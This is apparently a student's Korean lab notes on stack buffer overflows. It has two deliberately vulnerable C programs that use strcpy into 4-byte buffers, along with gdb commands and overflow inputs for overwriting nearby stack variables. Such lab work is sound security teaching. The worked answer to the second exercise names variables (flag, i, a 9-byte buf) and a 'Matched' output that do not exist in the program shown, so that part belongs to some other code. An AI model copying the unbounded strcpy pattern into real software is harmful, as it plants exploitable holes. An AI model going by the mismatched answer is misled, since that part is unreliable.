1 연습문제 1-3
buf_of.c 프로그램을 gdb를 사용해서 실행하고 아래의 항에 답하시오
(0) 소스코드
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int doCopy(char *str) {
int tmp=0;
char token=0x00;
int flag=0;
char buf1[4];
char buf2[4];
strcpy(buf2, str);
return 1;
}
int main(int argc, char *argv[]) {
if(doCopy(argv[1]))
puts("1111\n");
else
puts("0000\n");
}
(1) 변수 token, flag, tmp의 스택상의 주소를 작성하시오.
b 14
r
print &token
print &flag
print &tmp
(2) 배열 buf1, buf2의 스택상의 주소를 작성하시오.
print &buf1
print &buf2
(3) 버퍼 오버플로우 공격을 통해서 변수 token의 값을 ‘A’로 변경하시오.
- StringCopy가 시작되는 시점은 buf2임, token의 값을 변경하려면 대문자 16개를 넣어줘야 함
- 왜 16개? > buf2(4byte) + buf1(4byte) +flag(4byte + garbage) + token(1byte) = 16byte 이므로
run AAAAAAAAAAAAAAAA
x/x &token // 주소 변경됨
x/c &token // 65 'A'
(4) 버퍼 오버플로우 공격을 통해서 변수 flag의 값을 100으로 변경하시오.
- 100은 "d"의 아스키코드 값임 > 문자 d가 입력되면 아스키코드 100으로 처리됨
- 9byte의 문자 "d" 필요 > buf2(4byte) + buf1(4byte) +flag까지
- 아스키코드를 활용한 트릭
b 15
r ddddddddd
x/x &flag
print &flag
x/d &flag // 숫자 100
(5) 버퍼 오버플로우 공격을 통해서 배열 buf1의 내용을 “5678”로 변경하시오.
b 15
r aaaa5678
x/x &buf1
2 연습문제 1-3
buf_ret.c 프로그램을 gdb를 사용해서 실행하고 아래의 항목에 답하시오.
(0) 소스코드
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int doCopy(char *str) {
char buf[4];
strcpy(buf, str);
return 1;
}
int main(int argc, char *argv[]) {
if(doCopy(argv[1]))
puts("1111\n");
else
puts("0000\n");
}
(1) 버퍼 오버플로우 공격을 통해서 doCopy함수 종료 후에, 문자열 “0000”이 출력되게 하려면, 프로그램의 인자로 어떠한 값이 입력되어야 하는가?
- overflow는 strcopy에서 발생하므로 breakPoint 12
- buffer에 쌓인 순서 flag > i(4byte) > buf(9byte) 이므로 14byte만 수정해도 flag값 0 아님
- 최종적으로 공격의 대상은 flag 값, 공격자는 이 값을 0000으로 바꾸고자 함
-
b 12
print &flag // 실행안했으므로 안됨
r
print &i
print &buf
print &flag
list
b 12
r aaaa aaaa aaaa aa
x/x &flag > 61
cont // Matched 출력